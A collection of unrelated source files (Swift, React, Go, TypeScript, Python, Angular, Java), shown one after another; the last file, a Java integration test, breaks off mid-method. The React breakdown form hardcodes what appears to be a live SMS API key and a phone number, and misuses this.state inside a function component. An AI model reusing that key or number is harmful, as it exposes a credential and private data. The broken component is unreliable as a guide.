if baseScale <= 1.0 {
withAnimation {
resetOffset()
}
} else {
withAnimation {
snapEdgesToContainerMargins(containerSize: proxy.size, imageAspectRatio: imageAspectRatio)
}
}
}
)
.background(
GeometryReader { imageProxy in
Color.clear
.onChange(of: imageProxy.size) { newValue in
imageAspectRatio = newValue.aspectRatio()
}
}
)
Spacer()
}
}
}
.padding(config.insets)
.background(config.backgroundColor)
.overlay {
VStack {
HStack {
Spacer()
Button {
onCloseTap()
} label: {
Image(systemName: "xmark")
.resizable()
.renderingMode(.template)
.tint(.white)
.frame(width: 16, height: 16)
}
.padding(16)
}
Spacer()
}
}
}
}
// MARK: - Config
public extension ImageViewer {
struct Config {
let backgroundColor: Color
let opacity: Double
let insets: EdgeInsets
public init(
backgroundColor: Color,
opacity: Double,
insets: EdgeInsets
) {
if opacity < 0.0 {
self.opacity = 0
} else if opacity >= 1.0 {
self.opacity = 1.0
} else {
self.opacity = opacity
}
self.backgroundColor = backgroundColor.opacity(self.opacity)
self.insets = insets
}
public static let `default` = Config(
backgroundColor: Color.black,
opacity: 1.0,
insets: EdgeInsets(top: 48, leading: 0, bottom: 48, trailing: 0)
)
}
}
// MARK: - Scale and Offset actions
private extension ImageViewer {
private func resetScale() {
self.baseScale = 1.0
self.scaleChange = 1.0
}
private func resetOffset() {
self.baseOffset = .zero
self.nextOffset = .zero
}
private func snapEdgesToContainerMargins(containerSize: CGSize, imageAspectRatio: Double) {
let imageHeight = self.baseScale * (containerSize.width / imageAspectRatio)
let clippableOffset = CGPoint(
x: max(0, (self.baseScale - 1.0) * containerSize.width / 2.0),
y: max(0, (imageHeight - containerSize.height) / 2.0)
)
if abs(self.baseOffset.x) > clippableOffset.x {
self.baseOffset.x = self.baseOffset.x > 0 ? clippableOffset.x : -clippableOffset.x
}
if abs(self.baseOffset.y) > clippableOffset.y {
self.baseOffset.y = self.baseOffset.y > 0 ? clippableOffset.y : -clippableOffset.y
}
}
}
private extension CGSize {
func aspectRatio() -> Double {
width / height
}
}
// MARK: - View modifier
public struct ImagePreviewViewModifier: ViewModifier {
public enum PresentationStyle {
case sheet
case fullScreenCover
}
@Binding var image: Image?
let presentationStyle: PresentationStyle
let config: ImageViewer.Config
init(
image: Binding<Image?>,
presentationStyle: PresentationStyle,
config: ImageViewer.Config
) {
self._image = image
self.presentationStyle = presentationStyle
self.config = config
}
public func body(content: Content) -> some View {
switch presentationStyle {
case .sheet:
content
.sheet(isPresented: Binding(
get: { image != nil },
set: { image = $0 ? image : nil }
)) {
if let image {
ImageViewer(
image: image,
onCloseTap: { self.image = nil },
config: config
)
}
}
case .fullScreenCover:
content
.fullScreenCover(isPresented: Binding(
get: { image != nil },
set: { image = $0 ? image : nil }
)) {
if let image {
ImageViewer(
image: image,
onCloseTap: { self.image = nil },
config: config
)
}
}
}
}
}
public extension View {
func imagePreview(
image: Binding<Image?>,
presentationStyle: ImagePreviewViewModifier.PresentationStyle = .fullScreenCover,
config: ImageViewer.Config = .default
) -> some View {
self.modifier(
ImagePreviewViewModifier(
image: image,
presentationStyle: presentationStyle,
config: config
)
)
}
}
|
import React, { useState, useEffect } from 'react';
import { useParams, useNavigate } from 'react-router-dom';
import questions from '../data/questions';
import './Quiz.css';
const Quiz = ({ onQuizSubmit }) => {
const { category } = useParams();
const navigate = useNavigate();
const [quizQuestions, setQuizQuestions] = useState([]);
const [userAnswers, setUserAnswers] = useState({});
const [currentQuestionIndex, setCurrentQuestionIndex] = useState(0);
useEffect(() => {
const selectAndShuffleQuestions = (selectedCategory) => {
const allQuestions = questions[selectedCategory] || [];
const shuffledQuestions = allQuestions.sort(() => Math.random() - 0.5);
const selectedQuestions = shuffledQuestions.slice(0, Math.min(5, shuffledQuestions.length));
setQuizQuestions(selectedQuestions);
};
selectAndShuffleQuestions(category);
}, [category]);
const handleAnswerSelect = (selectedOption) => {
setUserAnswers((prevAnswers) => ({ ...prevAnswers, [currentQuestionIndex]: selectedOption }));
};
const handleNextQuestion = () => {
setCurrentQuestionIndex((prevIndex) => prevIndex + 1);
};
const handleSubmitQuiz = () => {
const score = calculateScore();
const mistakes = findMistakes();
onQuizSubmit({ score, mistakes });
navigate('/result');
};
const calculateScore = () => {
if (quizQuestions.length === 0) {
return 0;
}
const correctAnswers = Object.values(userAnswers).reduce((count, answer, index) => {
const question = quizQuestions[index];
return count + (answer === question.correctOption ? 1 : 0);
}, 0);
return (correctAnswers / quizQuestions.length) * 100;
};
const findMistakes = () => {
const mistakes = [];
quizQuestions.forEach((question, index) => {
const userAnswer = userAnswers[index];
if (userAnswer !== question.correctOption) {
mistakes.push(question.id);
}
});
return mistakes;
};
if (currentQuestionIndex >= quizQuestions.length) {
return (
<div className="quiz-container">
<h2>Quiz - {category}</h2>
<p>You have completed the quiz. Click the button below to view your results.</p>
<button onClick={handleSubmitQuiz}>Submit Quiz</button>
</div>
);
}
const currentQuestion = quizQuestions[currentQuestionIndex];
return (
<div className="quiz-container">
<h2>Quiz - {category}</h2>
<div className="question">
<p>{currentQuestion.text}</p>
<div className="options">
{currentQuestion.options.map((option, index) => (
<label key={option} className="option">
<input
type="radio"
name={`question-${currentQuestion.id}`}
value={option}
onChange={() => handleAnswerSelect(option)}
/>
{option}
</label>
))}
</div>
</div>
<button onClick={handleNextQuestion}>Next Question</button>
</div>
);
};
export default Quiz;
|
"use strict";
Object.defineProperty(exports, "__esModule", { value: true });
exports.MyLogger = void 0;
const chalk = require("chalk");
const dayjs = require("dayjs");
const winston_1 = require("winston");
class MyLogger {
constructor() {
this.logger = (0, winston_1.createLogger)({
level: 'debug',
transports: [
new winston_1.transports.Console({
format: winston_1.format.combine(winston_1.format.colorize(), winston_1.format.printf(({ context, level, message, time }) => {
const appStr = chalk.green(`[NEST]`);
const contextStr = chalk.yellow(`[${context}]`);
return `${appStr} ${time} ${level} ${contextStr} ${message} `;
})),
}),
new winston_1.transports.File({
format: winston_1.format.combine(winston_1.format.timestamp(), winston_1.format.json()),
filename: '111.log',
dirname: 'log',
}),
],
});
}
log(message, context) {
const time = dayjs(Date.now()).format('YYYY-MM-DD HH:mm:ss');
this.logger.log('info', message, { context, time });
}
error(message, context) {
const time = dayjs(Date.now()).format('YYYY-MM-DD HH:mm:ss');
this.logger.log('info', message, { context, time });
}
warn(message, context) {
const time = dayjs(Date.now()).format('YYYY-MM-DD HH:mm:ss');
this.logger.log('info', message, { context, time });
}
}
exports.MyLogger = MyLogger;
//# sourceMappingURL=MyLogger.js.map
|
import React, { useState, useEffect } from 'react'
import './Breakdown.css'
import { useNavigate } from 'react-router-dom'
import axios from 'axios'
import Select from './../forms/select/Select'
export default function BreakDown() {
const [usernos, setUsers] = useState([])
const [selectedUserId, setSelectedUserId] = useState('')
const [selectedUserName, setSelectedUserName] = useState('')
const [selectedUsers, setSelectedUsers] = useState([])
const [selected, setSelected] = useState(null)
useEffect(() => {
// Fetch user data from the server
axios
.get('http://192.168.29.93:5000/UserNo')
.then((response) => {
setUsers(response.data)
})
.catch((error) => {
console.error('Error fetching user data:', error)
})
}, [])
const handleUserSelect = (_id) => {
// console.log(_id)
setSelected(_id)
return _id
}
const handleUserSelection = (event) => {
const selectedOptions = Array.from(event.target.selectedOptions, (option) => option.value)
this.setState({
selectedUsers: selectedOptions,
})
}
const navigate = useNavigate()
const [formData, setFormData] = useState({
MachineName: '',
BreakdownStartDate: '',
BreakdownEndDate: '',
BreakdownStartTime: '',
BreakdownEndTime: '',
Shift: '',
LineName: '',
StageName: '',
BreakdownPhenomenons: '',
BreakdownType: '',
OCC: '',
BreakdownTime: '',
ActionTaken: '',
WhyWhyAnalysis: '',
RootCause: '',
PermanentAction: '',
TargetDate: '',
Responsibility: '',
HD: '',
Remark: '',
Status: 'open',
})
const [machineNames, setMachineNames] = useState([])
const [assetNames, setAssetNames] = useState([])
useEffect(() => {
// Fetch asset names from 'http://localhost:5000/getAllData'
fetch('http://192.168.29.93:5000/getAllData')
.then((res) => res.json())
.then((data) => {
// Extract unique asset names from the data
const uniqueAssetNames = [...new Set(data.map((item) => item.AssetName))]
// Set the assetNames state with the unique asset names
setAssetNames(uniqueAssetNames)
})
.catch((error) => {
console.error('Error fetching asset names: ', error)
})
}, [])
useEffect(() => {
// Fetch the breakdown data from your API
fetch('http://192.168.29.93:5000/getBreakdownData')
.then((res) => res.json())
.then((data) => {
// Extract unique machine names from the breakdown data
const uniqueMachineNames = [...new Set(data.map((item) => item.MachineName))]
// Set the machineNames state with the unique machine names
setMachineNames(uniqueMachineNames)
})
.catch((error) => {
console.error('Error fetching breakdown data: ', error)
})
}, [])
const handleSubmit = (e) => {
e.preventDefault()
const {
MachineName,
BreakdownStartDate,
BreakdownEndDate,
BreakdownStartTime,
BreakdownEndTime,
Shift,
LineName,
StageName,
BreakdownPhenomenons,
BreakdownType,
OCC,
ActionTaken,
WhyWhyAnalysis,
RootCause,
PermanentAction,
TargetDate,
Responsibility,
HD,
Remark,
Status = 'open',
} = formData
console.log(
MachineName,
BreakdownStartDate,
BreakdownEndDate,
BreakdownStartTime,
BreakdownEndTime,
Shift,
LineName,
StageName,
BreakdownPhenomenons,
BreakdownType,
OCC,
ActionTaken,
WhyWhyAnalysis,
RootCause,
PermanentAction,
TargetDate,
Responsibility,
HD,
Remark,
Status,
)
fetch('http://192.168.29.93:5000/saveBreakdown', {
method: 'POST',
headers: {
'Content-type': 'application/json',
Accept: 'application/json',
'Access-Control-Allow-Origin': '*',
},
body: JSON.stringify({
MachineName,
BreakdownStartDate,
BreakdownEndDate,
BreakdownStartTime,
BreakdownEndTime,
Shift,
LineName,
StageName,
BreakdownPhenomenons,
BreakdownType,
OCC,
ActionTaken,
WhyWhyAnalysis,
RootCause,
PermanentAction,
TargetDate,
Responsibility,
HD,
Remark,
Status,
}),
})
.then((res) => res.json())
.then((data) => {
console.log(data, 'add breakdown data')
console.log(MachineName)
navigate(-1)
})
}
const handleChange = (e) => {
setFormData({
...formData,
[e.target.name]: e.target.value,
})
}
const apiKey = 'NDE1MDY2NGM2Mzc3NTI0ZjQzNmE1YTM5NDY0YzZlNzU='
const numbers = '7020804148' // Replace with the phone numbers
const data1 = 'test'
const data2 = 'test'
const sender = 'AAABRD'
const sendSMS = (formData, selectedUsers) => {
const { MachineName, BreakdownPhenomenons } = formData
// Formulate a simple message
const message = encodeURIComponent(
'Breakdown For ' +
MachineName +
// 'Date of Breakdown Start' +
// BreakdownStartDate +
' please visit concerned department Details are ' +
BreakdownPhenomenons +
' - Aurangabad Auto Ancillary',
)
const phoneNumbers = usernos.map((user) => user.phoneNumber).join(',')
console.log(selected)
// Create the API URL
const url = `https://api.textlocal.in/send/?apikey=${apiKey}&sender=${sender}&numbers=${selected}&message=${message}`
// Use fetch to send the SMS
fetch(url)
.then((response) => response.json())
.then((data) => {
console.log('SMS sent successfully:', data)
console.log(selected, message)
})
.catch((error) => {
console.error('Error sending SMS:', error)
console.log(selected)
})
}
const handleButtonClick = () => {
// Call the SMS sending function
sendSMS(formData, selectedUsers)
}
return (
<>
<div
className="container-lg"
style={{
border: '2px solid #ccc',
backgroundColor: 'lightgrey',
padding: '20px',
borderRadius: '10px',
boxShadow: '0 4px 8px rgba(0, 0, 0, 0.1)',
width: '90%',
}}
>
<div className="container">
<form action="#" method="post" onSubmit={handleSubmit}>
{/* Add Breakdown Detail Fields */}
{/* <h3>Add Breakdown Detail</h3> */}
<div className="row g-2">
<div className="col-md-6">
<label htmlFor="machineName" style={{ marginBottom: '5px', fontSize: '16px' }}>
Machine Name:
</label>
<select
className="form-control col-sm-6"
required
name="MachineName"
value={formData.AssetName}
onChange={handleChange}
style={{ marginBottom: '10px' }}
>
<option value="">Select a machine</option>
{/* Populate the dropdown options with asset names */}
{assetNames.map((asset, index) => (
<option key={index} value={asset}>
{asset}
</option>
))}
</select>
</div>
<div className="col-md-6">
<label htmlFor="breakdownDate">Breakdown Start Date:</label>
<input
type="date"
required
className="form-control col-sm-6"
name="BreakdownStartDate"
value={formData.BreakdownStartDate}
onChange={handleChange}
placeholder=""
/>
</div>
<div className="col-md-6">
<label htmlFor="shift">Shift:</label>
<input
type="text"
required
className="form-control col-sm-6"
name="Shift"
value={formData.Shift}
onChange={handleChange}
placeholder=""
/>
</div>
<div className="col-md-6">
<label htmlFor="brekdownStartTime">BreakdownStartTime:</label>
<input
type="text"
required
className="form-control col-sm-6"
name="BreakdownStartTime"
value={formData.BreakdownStartTime}
onChange={handleChange}
placeholder=""
/>
</div>
<div className="col-md-6">
<label htmlFor="lineName">Line Name:</label>
<input
type="text"
required
name="LineName"
className="form-control col-sm-6"
value={formData.LineName}
onChange={handleChange}
placeholder=""
/>
</div>
<div className="col-md-6">
<label htmlFor="stageName">Stage Name:</label>
<input
type="text"
required
className="form-control col-sm-6"
name="StageName"
value={formData.StageName}
onChange={handleChange}
placeholder=""
/>
</div>
<div className="col-md-6">
<label htmlFor="breakdownPhenomen">Breakdown Phenomenon:</label>
<input
type="text"
required
name="BreakdownPhenomenons"
className="form-control col-sm-6"
value={formData.BreakdownPhenomenons}
onChange={handleChange}
placeholder=""
/>
</div>
<div className="row g-2">
<div className="col-md-6">
<label htmlFor="selectedUser">Select a user:</label>
<div className="input-group">
<select
multiple
value={this.state.selectedUsers}
onChange={this.handleUserSelection}
>
<option>Select User</option>
{usernos.map((user) => (
<option key={user.phoneNumber} value={user.phoneNumber}>
{user.name}
</option>
))}
</select>
</div>
</div>
{/* <div className="col-md-6">
<label>Selected Users:</label>
<ul>
{selectedUsers.map((user) => (
<li key={user.phoneNumber}>
{user.name} - {user.phoneNumber}
</li>
))}
</ul>
</div> */}
<div className="col-xs-12">
<button
type="submit"
onClick={handleButtonClick}
className="btn btn-primary"
style={{ marginTop: '20px', fontSize: '16px', backgroundColor: '#3448db' }}
>
Submit
</button>
</div>
</div>
{/* </div> */}
</div>
</form>
</div>
</div>
</>
)
}
|
/** 获取指定长度的随机数 */
export const generateRandomId = (length: number) => {
const chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
let id = '';
for (let i = 0; i < length; i++) {
let randomIndex = Math.floor(Math.random() * chars.length);
id += chars[randomIndex];
}
return id;
}
/** 获取代码字符串中导出的变量 */
export const filterExported = (code: string) => {
const exportRegex = /export\s+(?:default\s+)?(const|let|var|function)\s+(\w+)/g;
const commentRegex = /\/\/.*|\/\*[\s\S]*?\*\//g;
const exportedCode: string[] = [];
let match;
while ((match = exportRegex.exec(code)) !== null) {
const [_, type, name] = match;
if (!isCommented(match.index)) {
exportedCode.push(name);
}
}
return exportedCode;
function isCommented(index: number) {
commentRegex.lastIndex = 0;
let isCommented = false;
let commentMatch;
while ((commentMatch = commentRegex.exec(code)) !== null) {
if (commentMatch.index > index) {
break;
}
if (index <= commentRegex.lastIndex) {
isCommented = true;
break;
}
}
return isCommented;
}
}
interface NodeProps {
children?: NodeProps[]
[key: string]: any
}
/**
* 将对象树结构展开
* @param tree
* @returns
*/
export const flattenTree = (tree: NodeProps[]) => {
const result: NodeProps[] = [];
const traverse = (node: NodeProps) => {
result.push(node);
const { children } = node
if (!Array.isArray(children)) return
if (children.length > 0) {
children.forEach(child => {
traverse(child);
});
}
}
tree.forEach(node => {
traverse(node);
});
return result;
}
|
package a3interface
import (
"reflect"
"testing"
)
func TestNewRegistration(t *testing.T) {
type args struct {
command string
}
tests := []struct {
name string
args args
want *RVExtensionRegistration
}{
{
name: "test",
args: args{
command: "test",
},
want: &RVExtensionRegistration{
Command: "test",
DefaultResponse: `["Command test called"]`,
},
}, {
name: "test2",
args: args{
command: "test2",
},
want: &RVExtensionRegistration{
Command: "test2",
DefaultResponse: `["Command test2 called"]`,
},
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
if got := NewRegistration(tt.args.command); !reflect.DeepEqual(got, tt.want) {
t.Errorf("NewRegistration() = %v, want %v", got, tt.want)
}
})
}
}
func TestRVExtensionRegistration_SetDefaultResponse(t *testing.T) {
type args struct {
response string
}
tests := []struct {
name string
r *RVExtensionRegistration
args args
want *RVExtensionRegistration
}{
{
name: "test",
r: &RVExtensionRegistration{
Command: "test",
DefaultResponse: `["Command test called"]`,
},
args: args{
response: `["test"]`,
},
want: &RVExtensionRegistration{
Command: "test",
DefaultResponse: `["test"]`,
},
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
if got := tt.r.SetDefaultResponse(tt.args.response); !reflect.DeepEqual(got, tt.want) {
t.Errorf("RVExtensionRegistration.SetDefaultResponse() = %v, want %v", got, tt.want)
}
})
}
}
func TestRVExtensionRegistration_SetRunInBackground(t *testing.T) {
type args struct {
runInBackground bool
}
tests := []struct {
name string
r *RVExtensionRegistration
args args
want *RVExtensionRegistration
}{
{
name: "test",
r: &RVExtensionRegistration{
Command: "test",
DefaultResponse: `["Command test called"]`,
},
args: args{
runInBackground: true,
},
want: &RVExtensionRegistration{
Command: "test",
DefaultResponse: `["Command test called"]`,
RunInBackground: true,
},
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
if got := tt.r.SetRunInBackground(tt.args.runInBackground); !reflect.DeepEqual(got, tt.want) {
t.Errorf("RVExtensionRegistration.SetRunInBackground() = %v, want %v", got, tt.want)
}
})
}
}
func TestRVExtensionRegistration_SetFunction(t *testing.T) {
type args struct {
fnc func(ctx ArmaExtensionContext, data string) (string, error)
}
tests := []struct {
name string
r *RVExtensionRegistration
args args
want *RVExtensionRegistration
}{
{
name: "add a function",
r: &RVExtensionRegistration{
Command: "test",
DefaultResponse: `["Command test called"]`,
},
args: args{
fnc: func(ctx ArmaExtensionContext, data string) (string, error) {
return "", nil
},
},
want: &RVExtensionRegistration{
Command: "test",
DefaultResponse: `["Command test called"]`,
Function: func(ctx ArmaExtensionContext, data string) (string, error) {
return "", nil
},
},
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
got := tt.r.SetFunction(tt.args.fnc)
if got.Function == nil {
t.Errorf("RVExtensionRegistration.SetFunction() = %v, want %v", got, tt.want)
}
})
}
}
func TestRVExtensionRegistration_SetArgsFunction(t *testing.T) {
type args struct {
fnc func(ctx ArmaExtensionContext, command string, args []string) (string, error)
}
tests := []struct {
name string
r *RVExtensionRegistration
args args
want *RVExtensionRegistration
}{
{
name: "add a function",
r: &RVExtensionRegistration{
Command: "test",
DefaultResponse: `["Command test called"]`,
},
args: args{
fnc: func(ctx ArmaExtensionContext, command string, args []string) (string, error) {
return "", nil
},
},
want: &RVExtensionRegistration{
Command: "test",
DefaultResponse: `["Command test called"]`,
ArgsFunction: func(ctx ArmaExtensionContext, command string, args []string) (string, error) {
return "", nil
},
},
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
if got := tt.r.SetArgsFunction(tt.args.fnc); got.ArgsFunction == nil {
t.Errorf("RVExtensionRegistration.SetArgsFunction() = %v, want %v", got, tt.want)
}
})
}
}
func TestRVExtensionRegistration_Register(t *testing.T) {
tests := []struct {
name string
r *RVExtensionRegistration
wantErr bool
}{
{
name: "register new",
r: &RVExtensionRegistration{
Command: "test2",
DefaultResponse: `["Command test2 called"]`,
},
wantErr: false,
},
{
name: "register duplicate",
r: &RVExtensionRegistration{
Command: "test",
DefaultResponse: `["Command test called"]`,
},
wantErr: true,
},
}
// create a new registration as 'test' for checking duplicates
err := NewRegistration("test").Register()
if err != nil {
t.Errorf("RVExtensionRegistration.Register() error = %v", err)
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
err := tt.r.Register()
if (err != nil) != tt.wantErr {
t.Errorf("RVExtensionRegistration.Register() error = %v, wantErr %v", err, tt.wantErr)
}
})
}
}
|
export class Page {
openUrl(url: string | undefined = "/"): void {
cy.visit(url);
}
includeUrl(url: string): void {
cy.url().should("include", url);
}
equalUrl(url: string): void {
cy.url().should("eq", url);
}
refresh(): void {
cy.reload();
this.wait(1000);
}
wait(milliseconds: number): void {
cy.wait(milliseconds);
}
getElement(element: string): Cypress.Chainable<JQuery<HTMLElement>> {
return cy.get(element);
}
click(element: string): void {
this.getElement(element).click();
}
fill(element: string, data: string): void {
this.getElement(element).type(data);
}
notToHaveText(element: string, text: string): void {
this.getElement(element).should("not.have.text", text);
}
toHaveText(element: string, text: string): void {
this.getElement(element).should("have.text", text);
}
toContainText(element: string, text: string): void {
this.getElement(element).should("include.text", text);
}
getAttrVal(element: string, attr: string): Cypress.Chainable<string> {
return this.getElement(element)
.invoke("attr", attr)
.then((value) => {
return value as string;
});
}
getText(element: string): Cypress.Chainable<string> {
return this.getElement(element)
.invoke("text")
.then((text) => {
return text as string;
});
}
hover(element: string, side: any): void {
this.getElement(element).realHover({ position: side });
}
}
|
import { useToast } from "@/components/ui/use-toast";
import { updateColumnIndexes } from "@/queries/columns";
import { TypedSupabaseClient, ColumnType } from "@/utils/types";
import { useQueryClient, useMutation } from "@tanstack/react-query";
export default function useUpdateColumnIndexesMutation(
client: TypedSupabaseClient,
) {
const queryClient = useQueryClient();
const { toast } = useToast();
return useMutation({
mutationFn: ({ newColumns }: { newColumns: ColumnType[] }) => {
return updateColumnIndexes(client, newColumns);
},
onSuccess: () => {
toast({ title: "Column indexes updated" });
},
onSettled: async () => {
return await queryClient.invalidateQueries({ queryKey: ["columnsData"] });
},
onError: (error) => {
toast({
title: "Error updating column indexes",
description: error.message,
variant: "destructive",
});
},
});
}
|
import numpy as np
import matplotlib.pyplot as plt
class ForwardEuler_v1: # kopierer inn classen fra en bok
def __init__(self, f, U0, T, N): # konstruktør
self.f, self.U0, self.T, self.N = f, U0, T, N # attributter
self.dt = T/N
self.u = np.zeros(self.N+1) # array med N+1 antall 0'er
self.t = np.zeros(self.N+1)
def solve(self): #funksjon for å løse diff likningen
self.u[0] = float(self.U0) # initial betingelsen
for n in range(self.N):
self.n = n
self.t[n+1] = self.t[n] + self.dt
self.u[n+1] = self.advance()
return self.u, self.t
def advance(self):
u, dt, f, n, t = self.u, self.dt, self.f, self.n, self.t
unew = u[n] + dt*f(u[n], t[n])
return unew
#c)
f = lambda u, t: 0.2*u
P1 = ForwardEuler_v1(f, 0.1, 20, 5) # setter in variabler
u,t = P1.solve()
#d)
t_exact = np.linspace(0, 20, 400) # eksakt verdi
exact = 0.1*np.exp(0.2*t_exact)
plt.plot(t, u, "r", label="numerical") # plotter
plt.plot(t_exact, exact, "b", label="exact")
plt.legend()
plt.show()
# jeg legger ikke in for oppgave e i E1 ettersom man bare endrer på variabler
"""
Terminal> python.exe Simple_ODE_class.py
# "Se plot"
"""
|
import {
Box,
Button,
Flex,
Text,
Tooltip,
useColorMode,
useColorModeValue,
} from "@chakra-ui/react";
import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
import { faGithub, faLinkedin } from "@fortawesome/free-brands-svg-icons";
import React from "react";
const Navbar: React.FC = () => {
const { colorMode, toggleColorMode } = useColorMode();
return (
<React.Fragment>
<Box
bg={useColorModeValue("blue.500", "blue.600")}
p={"5"}
borderBottom={"1px"}
borderBottomColor={useColorModeValue("blue.400", "blue.500")}
>
<Flex justifyContent={"space-between"}>
<Flex gap={"5"}>
<Text as={"b"} fontSize={"2xl"}>
Typing Test
</Text>
<Text mt={"1.5"}>Improve your Typing Speed</Text>
</Flex>
<Flex gap={"5"}>
<Tooltip label="Contact me by Github">
<a
href="https://github.com/sahinmaral"
target="_blank"
rel="noopener noreferrer"
>
<FontAwesomeIcon size={"xl"} icon={faGithub} />
</a>
</Tooltip>
<Tooltip label="Contact me by Linkedin">
<a
href="https://www.linkedin.com/in/your-linkedin-username"
target="_blank"
rel="noopener noreferrer"
>
<FontAwesomeIcon size={"xl"} icon={faLinkedin} />
</a>
</Tooltip>
</Flex>
</Flex>
</Box>
<Box bg={useColorModeValue("blue.500", "blue.600")} p={"5"}>
<Button onClick={toggleColorMode}>
Toggle {colorMode === "light" ? "Dark" : "Light"}
</Button>
</Box>
</React.Fragment>
);
};
export default Navbar;
|
package service
import (
"context"
"github.com/LXJ0000/go-rpc/app/user/internal/domain"
pb "github.com/LXJ0000/go-rpc/idl/pb/user"
"golang.org/x/crypto/bcrypt"
"net/http"
)
type UserServiceServer struct {
pb.UnimplementedUserServiceServer
userRepo domain.UserRepository
}
func NewUserServiceServer(userRepo domain.UserRepository) *UserServiceServer {
return &UserServiceServer{
userRepo: userRepo,
}
}
func (u *UserServiceServer) Login(ctx context.Context, req *pb.UserRequest) (*pb.UserDetailResponse, error) {
resp, err := u.userRepo.GetByUserName(ctx, req.GetUserName())
if err != nil {
return &pb.UserDetailResponse{
Code: http.StatusInternalServerError,
}, err
}
return &pb.UserDetailResponse{
User: &pb.UserResponse{
UserId: resp.UserID,
NickName: resp.NickName,
UserName: resp.UserName,
},
Code: http.StatusOK,
}, nil
}
func (u *UserServiceServer) Register(ctx context.Context, req *pb.UserRequest) (*pb.UserCommonResponse, error) {
hash, err := bcrypt.GenerateFromPassword([]byte(req.Password), bcrypt.DefaultCost)
if err != nil {
return &pb.UserCommonResponse{
Code: http.StatusBadRequest,
Msg: "密码格式有误",
}, err
}
user := &domain.User{
UserName: req.UserName,
NickName: req.NickName,
UserID: int64(1), // TODO
PasswordDigest: string(hash), // TODO
}
if err = u.userRepo.Create(ctx, user); err != nil {
return &pb.UserCommonResponse{
Code: http.StatusBadRequest,
Msg: err.Error(),
}, err
}
return &pb.UserCommonResponse{
Code: http.StatusOK,
Msg: "Success",
}, nil
}
|
import { AuthGuard } from './guards/auth.guard';
import { MessagesComponent } from './messages/messages.component';
import { UserComponent } from './user/user.component';
import { AboutComponent } from './about/about.component';
import { SignupComponent } from './signup/signup.component';
import { LoginComponent } from './login/login.component';
import { HomeComponent } from './home/home.component';
import { NgModule } from '@angular/core';
import { Routes, RouterModule } from '@angular/router';
const routes: Routes = [
{path: '', component: HomeComponent},
{path: 'login', component: LoginComponent, canActivate: [AuthGuard]},
{path: 'signup', component: SignupComponent, canActivate: [AuthGuard]},
{path: 'about', component: AboutComponent},
{path: 'user/:id', component: UserComponent},
{path: 'messages/:id', component: MessagesComponent},
{ path: '**', redirectTo: '' }
];
@NgModule({
imports: [RouterModule.forRoot(routes)],
exports: [RouterModule]
})
export class AppRoutingModule { }
|
package de.cotto.lndmanagej.controller;
import de.cotto.lndmanagej.model.ChannelIdParser;
import de.cotto.lndmanagej.model.ChannelIdResolver;
import de.cotto.lndmanagej.model.PubkeyAndFeeRate;
import de.cotto.lndmanagej.service.ChannelService;
import de.cotto.lndmanagej.service.GraphService;
import de.cotto.lndmanagej.service.OwnNodeService;
import org.junit.jupiter.api.Test;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.autoconfigure.web.reactive.WebFluxTest;
import org.springframework.boot.test.mock.mockito.MockBean;
import org.springframework.context.annotation.Import;
import org.springframework.test.web.reactive.server.WebTestClient;
import java.util.List;
import java.util.Set;
import java.util.stream.Stream;
import static de.cotto.lndmanagej.model.CoopClosedChannelFixtures.CLOSED_CHANNEL;
import static de.cotto.lndmanagej.model.LocalOpenChannelFixtures.LOCAL_OPEN_CHANNEL;
import static de.cotto.lndmanagej.model.LocalOpenChannelFixtures.LOCAL_OPEN_CHANNEL_TO_NODE_3;
import static de.cotto.lndmanagej.model.PubkeyFixtures.PUBKEY;
import static de.cotto.lndmanagej.model.PubkeyFixtures.PUBKEY_2;
import static org.hamcrest.core.Is.is;
import static org.mockito.Mockito.when;
@WebFluxTest(StatusController.class)
@Import(ChannelIdParser.class)
class StatusControllerIT {
private static final String PREFIX = "/api/status/";
@Autowired
private WebTestClient webTestClient;
@MockBean
@SuppressWarnings("unused")
private ChannelIdResolver channelIdResolver;
@MockBean
private ChannelService channelService;
@MockBean
private OwnNodeService ownNodeService;
@MockBean
private GraphService graphService;
@Test
void isSyncedToChain() {
when(ownNodeService.isSyncedToChain()).thenReturn(true);
webTestClient.get().uri(PREFIX + "/synced-to-chain").exchange()
.expectBody(String.class).isEqualTo("true");
}
@Test
void getBlockHeight() {
when(ownNodeService.getBlockHeight()).thenReturn(123_456);
webTestClient.get().uri(PREFIX + "/block-height").exchange()
.expectBody(String.class).isEqualTo("123456");
}
@Test
void getOpenChannels() {
when(channelService.getOpenChannels()).thenReturn(Set.of(LOCAL_OPEN_CHANNEL_TO_NODE_3, LOCAL_OPEN_CHANNEL));
List<String> sortedChannelIds = List.of(
LOCAL_OPEN_CHANNEL.getId().toString(),
LOCAL_OPEN_CHANNEL_TO_NODE_3.getId().toString()
);
webTestClient.get().uri(PREFIX + "/open-channels").exchange().expectBody()
.jsonPath("$.channels").value(is(sortedChannelIds));
}
@Test
void getPubkeysForOpenChannels() {
when(channelService.getOpenChannels()).thenReturn(Set.of(LOCAL_OPEN_CHANNEL_TO_NODE_3, LOCAL_OPEN_CHANNEL));
List<String> sortedPubkeys = List.of(
LOCAL_OPEN_CHANNEL.getRemotePubkey().toString(),
LOCAL_OPEN_CHANNEL_TO_NODE_3.getRemotePubkey().toString()
);
webTestClient.get().uri(PREFIX + "/open-channels/pubkeys").exchange().expectBody()
.jsonPath("$.pubkeys").value(is(sortedPubkeys));
}
@Test
void getAllChannels() {
when(channelService.getAllLocalChannels()).thenReturn(Stream.of(LOCAL_OPEN_CHANNEL_TO_NODE_3, CLOSED_CHANNEL));
List<String> sortedChannelIds = List.of(
CLOSED_CHANNEL.getId().toString(),
LOCAL_OPEN_CHANNEL_TO_NODE_3.getId().toString()
);
webTestClient.get().uri(PREFIX + "/all-channels").exchange().expectBody()
.jsonPath("$.channels").value(is(sortedChannelIds));
}
@Test
void getPubkeysForAllChannels() {
when(channelService.getAllLocalChannels()).thenReturn(Stream.of(LOCAL_OPEN_CHANNEL_TO_NODE_3, CLOSED_CHANNEL));
List<String> sortedPubkeys = List.of(
